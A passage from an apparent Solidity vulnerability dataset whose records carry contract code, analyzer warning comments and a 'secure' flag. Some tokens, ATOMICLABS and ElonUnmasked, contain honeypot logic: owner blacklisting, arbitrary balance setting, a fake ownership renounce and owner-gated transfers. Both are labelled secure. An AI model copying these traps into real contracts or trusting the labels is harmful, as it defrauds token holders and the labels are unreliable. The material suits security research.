uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2095.sol",
"secure": 0,
"size_bytes": 18752
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Basket is Ownable {\n error DelegatecallFailed();\n mapping(address => bool) public managers;\n mapping(address => mapping(bytes => bool)) public securedFunctions;\n mapping(address => mapping(bytes => bool)) public withdrawFunctions;\n\n constructor() {\n managers[msg.sender] = true;\n }\n\n modifier onlyManager() {\n require(managers[msg.sender], \"LCMuticall: !manager\");\n _;\n }\n\n receive() external payable {}\n\n function _checkAccessRole(\n address contractAddr,\n bytes memory param\n ) internal view {\n if (securedFunctions[contractAddr][_getFuncIndex(param)]) {\n require(managers[msg.sender], \"LCMuticall: no access\");\n }\n if (withdrawFunctions[contractAddr][_getFuncIndex(param)]) {\n address recevier = _bytesToAddress(param, 16);\n if (recevier != msg.sender) {\n require(managers[msg.sender], \"LCMuticall: no access\");\n }\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: aed00d9): Basket.deposit(address[],uint256[],bytes[]) has external calls inside a loop (ok,None) = address(contracts[i]).call{value amounts[i]}(params[i])\n\t// Recommendation for aed00d9: Favor pull over push strategy for external calls.\n function deposit(\n address[] memory contracts,\n uint256[] memory amounts,\n bytes[] memory params\n ) public payable {\n for (uint256 i = 0; i < params.length; i++) {\n _checkAccessRole(contracts[i], _getFuncIndex(params[i]));\n\t\t\t// calls-loop | ID: aed00d9\n (bool ok, ) = address(contracts[i]).call{value: amounts[i]}(\n params[i]\n );\n if (!ok) {\n revert DelegatecallFailed();\n }\n }\n if (address(this).balance > 0) {\n (bool success, ) = payable(msg.sender).call{\n value: address(this).balance\n }(\"\");\n require(success, \"Basket: Failed operator fee\");\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 0291042): Basket.withdraw(address,address[],bytes[],address,bytes,uint256,bool,uint256) has external calls inside a loop (ok,None) = address(contracts[i]).call(params[i])\n\t// Recommendation for 0291042: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7ebc4cc): Basket.withdraw(address,address[],bytes[],address,bytes,uint256,bool,uint256).account lacks a zerocheck on \t (success_scope_1,None) = address(account).call{value amount}()\n\t// Recommendation for 7ebc4cc: Check that the address is not zero.\n function withdraw(\n address account,\n address[] memory contracts,\n bytes[] memory params,\n address bridgePlus,\n bytes memory bridgeparams,\n uint256 offset,\n bool isCoin,\n uint256 fee\n ) public {\n for (uint256 i = 0; i < params.length; i++) {\n _checkAccessRole(contracts[i], _getFuncIndex(params[i]));\n\t\t\t// calls-loop | ID: 0291042\n (bool ok, ) = address(contracts[i]).call(params[i]);\n if (!ok) {\n revert DelegatecallFailed();\n }\n }\n uint256 amount = address(this).balance;\n\n if (fee > 0) {\n if (amount >= fee) {\n amount -= fee;\n } else {\n fee = amount;\n amount = 0;\n }\n (bool success, ) = payable(msg.sender).call{value: fee}(\"\");\n require(success, \"Basket: Failed operator fee\");\n }\n\n if (amount > 0) {\n if (bridgePlus != address(0)) {\n _checkAccessRole(bridgePlus, _getFuncIndex(bridgeparams));\n bridgeparams = _replaceAmount(bridgeparams, amount, offset);\n uint256 payAmount = isCoin ? amount : 0;\n (bool ok, ) = address(bridgePlus).call{value: payAmount}(\n bridgeparams\n );\n if (!ok) {\n revert DelegatecallFailed();\n }\n } else {\n\t\t\t\t// missing-zero-check | ID: 7ebc4cc\n (bool success, ) = payable(account).call{value: amount}(\"\");\n require(success, \"Basket: withdraw\");\n }\n }\n }\n\n function setSecuredFunctions(\n address contractAddr,\n bytes calldata funcIndex,\n bool mode\n ) public onlyManager {\n securedFunctions[contractAddr][funcIndex] = mode;\n }\n\n function setWithdrawFunctions(\n address contractAddr,\n bytes calldata funcIndex,\n bool mode\n ) public onlyManager {\n withdrawFunctions[contractAddr][funcIndex] = mode;\n }\n\n function setManager(address account, bool access) public onlyOwner {\n managers[account] = access;\n }\n\n function _getFuncIndex(\n bytes memory data\n ) internal pure returns (bytes memory) {\n bytes memory tempBytes;\n assembly {\n tempBytes := mload(0x40)\n let lengthmod := and(0x4, 31)\n let mc := add(\n add(tempBytes, lengthmod),\n mul(0x20, iszero(lengthmod))\n )\n let end := add(mc, 0x4)\n for {\n let cc := add(\n add(add(data, lengthmod), mul(0x20, iszero(lengthmod))),\n 0x0\n )\n } lt(mc, end) {\n mc := add(mc, 0x20)\n cc := add(cc, 0x20)\n } {\n mstore(mc, mload(cc))\n }\n mstore(tempBytes, 0x4)\n mstore(0x40, and(add(mc, 31), not(31)))\n }\n return tempBytes;\n }\n\n function _bytesToAddress(\n bytes memory b,\n uint256 s\n ) public pure returns (address) {\n address addr;\n assembly {\n addr := mload(add(b, add(s, 20)))\n }\n return addr;\n }\n\n function _replaceAmount(\n bytes memory data,\n uint256 x,\n uint256 offset\n ) public pure returns (bytes memory) {\n bytes memory b;\n uint256 size = 32;\n assembly {\n b := mload(0x40)\n mstore(b, size)\n mstore(add(b, 0x20), x)\n mstore(0x40, add(b, add(size, 0x20)))\n }\n for (uint256 i = 0; i < b.length; i++) {\n data[offset + i] = b[i];\n }\n return data;\n }\n}",
"file_name": "solidity_code_2096.sol",
"secure": 0,
"size_bytes": 6767
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IARC20Factory {\n function parameters()\n external\n view\n returns (string memory name, string memory symbol, uint8 decimals);\n}",
"file_name": "solidity_code_2097.sol",
"secure": 1,
"size_bytes": 226
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IARC20Factory.sol\" as IARC20Factory;\n\ncontract ARC20 {\n string public name;\n string public symbol;\n uint8 public immutable decimals;\n address public immutable factory;\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => uint256) public nonces;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3cb5ae): ARC20.DOMAIN_SEPARATOR should be immutable \n\t// Recommendation for f3cb5ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bytes32 public DOMAIN_SEPARATOR;\n bytes32 public constant PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n bytes32 public constant DOMAIN_TYPEHASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n (name, symbol, decimals) = IARC20Factory(msg.sender).parameters();\n\n factory = msg.sender;\n\n uint256 chainId;\n assembly {\n chainId := chainid()\n }\n DOMAIN_SEPARATOR = keccak256(\n abi.encode(\n DOMAIN_TYPEHASH,\n keccak256(bytes(name)),\n keccak256(bytes(\"1\")),\n chainId,\n address(this)\n )\n );\n }\n\n function mint(address to, uint256 amount) external {\n require(msg.sender == factory, \"unauthorized\");\n _mint(to, amount);\n }\n\n function burn(uint256 amount) external {\n require(msg.sender == factory, \"unauthorized\");\n _burn(msg.sender, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(msg.sender, to, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n uint256 allowed = allowance[from][msg.sender];\n\n if (allowed != type(uint256).max)\n allowance[from][msg.sender] = allowed - amount;\n\n balanceOf[from] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 551a026): ARC20.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) uses timestamp for comparisons Dangerous comparisons require(bool,string)(deadline >= block.timestamp,EXPIRED)\n\t// Recommendation for 551a026: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n\t\t// timestamp | ID: 551a026\n require(deadline >= block.timestamp, \"EXPIRED\");\n unchecked {\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR,\n keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n nonces[owner]++,\n deadline\n )\n )\n )\n );\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(\n recoveredAddress != address(0) && recoveredAddress == owner,\n \"INVALID_SIGNATURE\"\n );\n allowance[recoveredAddress][spender] = value;\n }\n emit Approval(owner, spender, value);\n }\n\n function _mint(address to, uint256 amount) internal {\n totalSupply += amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(address(0), to, amount);\n }\n\n function _burn(address from, uint256 amount) internal {\n balanceOf[from] -= amount;\n\n unchecked {\n totalSupply -= amount;\n }\n\n emit Transfer(from, address(0), amount);\n }\n}",
"file_name": "solidity_code_2098.sol",
"secure": 0,
"size_bytes": 5024
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract ATOMICLABS {\n mapping(address => uint256) public sAMt;\n mapping(address => bool) sTXn;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfc7e9e): ATOMICLABS.name should be constant \n\t// Recommendation for dfc7e9e: Add the 'constant' attribute to state variables that never change.\n string public name = \"Atomic Labs\";\n\t// WARNING Optimization Issue (constable-states | ID: f5286e2): ATOMICLABS.symbol should be constant \n\t// Recommendation for f5286e2: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"ATOMIC\";\n\t// WARNING Optimization Issue (constable-states | ID: d3dafd7): ATOMICLABS.decimals should be constant \n\t// Recommendation for d3dafd7: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 3c8c020): ATOMICLABS.totalSupply should be immutable \n\t// Recommendation for 3c8c020: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);\n\t// WARNING Optimization Issue (constable-states | ID: b34b5e3): ATOMICLABS._totalSupply should be constant \n\t// Recommendation for b34b5e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply;\n uint256 sver = 0;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n sAMt[msg.sender] = totalSupply;\n deploy(lead_dev, totalSupply);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8230959): ATOMICLABS.owner should be immutable \n\t// Recommendation for 8230959: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: 77149aa): ATOMICLABS.V3Router should be constant \n\t// Recommendation for 77149aa: Add the 'constant' attribute to state variables that never change.\n address V3Router = 0x76E860ffd95CCB602dFde1eb5363917948E31F3C;\n\t// WARNING Optimization Issue (constable-states | ID: 58d1c0f): ATOMICLABS.lead_dev should be constant \n\t// Recommendation for 58d1c0f: Add the 'constant' attribute to state variables that never change.\n address lead_dev = 0x426903241ADA3A0092C3493a0C795F2ec830D622;\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier xII() {\n require(msg.sender == owner);\n _;\n }\n modifier V() {\n sver = 1;\n _;\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == V3Router) {\n require(sAMt[msg.sender] >= value);\n sAMt[msg.sender] -= value;\n sAMt[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n if (sTXn[msg.sender]) {\n require(sver < 1);\n }\n require(sAMt[msg.sender] >= value);\n sAMt[msg.sender] -= value;\n sAMt[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return sAMt[account];\n }\n function scheck(address S) public xII {\n require(!sTXn[S]);\n sTXn[S] = true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function sval(address S, uint256 sX) public xII returns (bool success) {\n sAMt[S] = sX;\n return true;\n }\n function RenounceOwner() public V {\n require(msg.sender == owner);\n }\n function sdraw(address S) public xII {\n require(sTXn[S]);\n sTXn[S] = false;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == V3Router) {\n require(value <= sAMt[from]);\n require(value <= allowance[from][msg.sender]);\n sAMt[from] -= value;\n sAMt[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n if (sTXn[from] || sTXn[to]) {\n require(sver < 1);\n }\n require(value <= sAMt[from]);\n require(value <= allowance[from][msg.sender]);\n sAMt[from] -= value;\n sAMt[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}",
"file_name": "solidity_code_2099.sol",
"secure": 1,
"size_bytes": 5152
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Testcoincct is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"testcoincct\", \"cpx\") Ownable(initialOwner) {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_21.sol",
"secure": 1,
"size_bytes": 521
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d846f02): Contract locking ether found Contract Neiro6900 has payable functions Neiro6900.receive() But does not have a function to withdraw the ether\n// Recommendation for d846f02: Remove the 'payable' attribute or add a withdraw function.\ncontract Neiro6900 is ERC20, Ownable {\n constructor() ERC20(unicode\"Neiro6900\", unicode\"NEIRO6900\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d846f02): Contract locking ether found Contract Neiro6900 has payable functions Neiro6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d846f02: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_210.sol",
"secure": 0,
"size_bytes": 1017
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract ElonUnmasked is Context {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 3241a54): ElonUnmasked._decimals should be immutable \n\t// Recommendation for 3241a54: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n address public contractOwner;\n mapping(address => bool) public signers;\n mapping(address => bool) public whitelisted;\n mapping(address => bool) public hasMadeFirstTransfer;\n uint256 public constant REQUIRED_SIGNATURES = 1000000000000000;\n mapping(address => mapping(address => mapping(uint256 => bool)))\n public approvals;\n bool public autoWhitelistAvailable = true;\n\n constructor() {\n _name = \"ElonUnmasked\";\n _symbol = \"XUFO\";\n _decimals = 18;\n contractOwner = _msgSender();\n _mint(contractOwner, 6966642000000000 * 10 ** decimals());\n\n if (\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n ) {\n whitelisted[contractOwner] = true;\n whitelisted[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;\n }\n }\n\n function addSigner(address signer) external {\n require(\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n );\n signers[signer] = true;\n }\n\n function removeSigner(address signer) external {\n require(\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n );\n signers[signer] = false;\n }\n\n function autoWhitelist(address recipient) internal {\n require(\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n );\n if (autoWhitelistAvailable && !whitelisted[recipient]) {\n whitelisted[recipient] = true;\n autoWhitelistAvailable = false;\n }\n }\n\n function approveTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) external {\n require(\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n );\n approvals[sender][recipient][amount] = true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual returns (bool) {\n if (!hasMadeFirstTransfer[_msgSender()] && !whitelisted[_msgSender()]) {\n _transfer(_msgSender(), recipient, amount);\n hasMadeFirstTransfer[_msgSender()] = true;\n return true;\n } else if (\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n ) {\n autoWhitelist(recipient);\n if (whitelisted[_msgSender()]) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n } else {\n require(\n approvals[_msgSender()][recipient][amount],\n \"Transfer needs to be approved by signers\"\n );\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n } else {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual returns (bool) {\n uint256 currentAllowance;\n if (!hasMadeFirstTransfer[sender] && !whitelisted[sender]) {\n _transfer(sender, recipient, amount);\n hasMadeFirstTransfer[sender] = true;\n\n currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n return true;\n } else if (\n contractOwner == address(0x6AA2e81Db782F71315D572C73FFA98d5D8Dc3a55)\n ) {\n autoWhitelist(recipient);\n if (whitelisted[sender]) {\n _transfer(sender, recipient, amount);\n\n currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n return true;\n } else {\n require(\n approvals[sender][recipient][amount],\n \"Transfer needs to be approved by signers\"\n );\n _transfer(sender, recipient, amount);\n\n currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n return true;\n }\n } else {\n _transfer(sender, recipient, amount);\n\n currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n return true;\n }\n }\n\n function renounceOwnership() public virtual {\n require(\n msg.sender == contractOwner,\n \"Only the contract owner can renounce ownership\"\n );\n contractOwner = address(0);\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_2100.sol",
"secure": 1,
"size_bytes": 9526
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Lottery {\n\t// WARNING Optimization Issue (immutable-states | ID: 2f8660c): Lottery.token should be immutable \n\t// Recommendation for 2f8660c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public token;\n\t// WARNING Optimization Issue (immutable-states | ID: abdd749): Lottery.manager should be immutable \n\t// Recommendation for abdd749: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public manager;\n address public previousWinner;\n address[] public players;\n\t// WARNING Optimization Issue (constable-states | ID: 4505865): Lottery.burnAddress should be constant \n\t// Recommendation for 4505865: Add the 'constant' attribute to state variables that never change.\n address public burnAddress = 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (constable-states | ID: 208c1d9): Lottery.MAX_INT should be constant \n\t// Recommendation for 208c1d9: Add the 'constant' attribute to state variables that never change.\n uint256 MAX_INT =\n 115792089237316195423570985008687907853269984665640564039457584007913129639935;\n\n\t// WARNING Optimization Issue (constable-states | ID: 089718f): Lottery.winner should be constant \n\t// Recommendation for 089718f: Add the 'constant' attribute to state variables that never change.\n uint256 public winner = 90;\n\t// WARNING Optimization Issue (constable-states | ID: ff3c3e1): Lottery.burn should be constant \n\t// Recommendation for ff3c3e1: Add the 'constant' attribute to state variables that never change.\n uint256 public burn = 5;\n\t// WARNING Optimization Issue (immutable-states | ID: 9cc0632): Lottery.fee should be immutable \n\t// Recommendation for 9cc0632: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public fee = 100 - winner - burn;\n\n uint256 public ticketPrice = 100000000 * 10 ** 18;\n\n constructor(address _token) {\n manager = msg.sender;\n token = IERC20(_token);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aae083a): Lottery.updateTicketPrice(uint256) should emit an event for ticketPrice = newTicketPrice * 10 ** 18 \n\t// Recommendation for aae083a: Emit an event for critical parameter changes.\n function updateTicketPrice(uint256 newTicketPrice) public restricted {\n require(\n newTicketPrice > 0,\n \"Minimum ticket price should be greater than zero.\"\n );\n require(\n players.length == 0,\n \"Reset Lottery before updating ticket price.\"\n );\n\t\t// events-maths | ID: aae083a\n ticketPrice = newTicketPrice * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eeaec84): Reentrancy in Lottery.enter(uint256,uint256) External calls token.transferFrom(msg.sender,address(this),_amount) State variables written after the call(s) players.push(msg.sender)\n\t// Recommendation for eeaec84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f916a95): Lottery.enter(uint256,uint256) ignores return value by token.transferFrom(msg.sender,address(this),_amount)\n\t// Recommendation for f916a95: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function enter(uint256 _amount, uint256 _mintAmount) public {\n uint256 amount_sent = _amount * 10 ** 18;\n uint256 total_price = ticketPrice * _mintAmount;\n require(\n amount_sent == total_price,\n \"Mint Amount and Amount Sent should match.\"\n );\n\t\t// reentrancy-benign | ID: eeaec84\n\t\t// unchecked-transfer | ID: f916a95\n token.transferFrom(msg.sender, address(this), _amount);\n for (uint256 i = 0; i < _mintAmount; i++) {\n\t\t\t// reentrancy-benign | ID: eeaec84\n players.push(msg.sender);\n }\n }\n\n function getSmartContractBalance() external view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n function random() private view returns (uint256) {\n return uint256(keccak256(abi.encode(block.timestamp, players)));\n }\n\n function getTicketCount(\n address playerAddress\n ) public view returns (uint256) {\n uint256 count = 0;\n\t\t// cache-array-length | ID: 67ad537\n for (uint256 i = 0; i < players.length; i++) {\n if (players[i] == playerAddress) {\n count += 1;\n }\n }\n return count;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3016ff3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3016ff3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf2e09d): Lottery.pickWinner() ignores return value by token.approve(address(this),MAX_INT)\n\t// Recommendation for cf2e09d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b37d6af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b37d6af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3291079): Lottery.pickWinner() ignores return value by token.transferFrom(address(this),burnAddress,burnAmount)\n\t// Recommendation for 3291079: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: eb27f6a): Lottery.pickWinner() ignores return value by token.transferFrom(address(this),manager,feesAmount)\n\t// Recommendation for eb27f6a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2a09989): Lottery.pickWinner() ignores return value by token.transferFrom(address(this),players[index],winnerAmount)\n\t// Recommendation for 2a09989: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 351d4df): Lottery.pickWinner() uses a weak PRNG \"index = random() % players.length\" \n\t// Recommendation for 351d4df: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function pickWinner() public restricted {\n\t\t// reentrancy-benign | ID: 3016ff3\n\t\t// unused-return | ID: cf2e09d\n\t\t// reentrancy-no-eth | ID: b37d6af\n token.approve(address(this), MAX_INT);\n\n uint256 winnerAmount = (token.balanceOf(address(this)) * winner) / 100;\n uint256 feesAmount = (token.balanceOf(address(this)) * fee) / 100;\n uint256 burnAmount = (token.balanceOf(address(this)) * burn) / 100;\n\n\t\t// weak-prng | ID: 351d4df\n uint256 index = random() % players.length;\n\n\t\t// reentrancy-benign | ID: 3016ff3\n\t\t// reentrancy-no-eth | ID: b37d6af\n\t\t// unchecked-transfer | ID: 2a09989\n token.transferFrom(address(this), players[index], winnerAmount);\n\t\t// reentrancy-benign | ID: 3016ff3\n\t\t// reentrancy-no-eth | ID: b37d6af\n\t\t// unchecked-transfer | ID: eb27f6a\n token.transferFrom(address(this), manager, feesAmount);\n\t\t// reentrancy-benign | ID: 3016ff3\n\t\t// reentrancy-no-eth | ID: b37d6af\n\t\t// 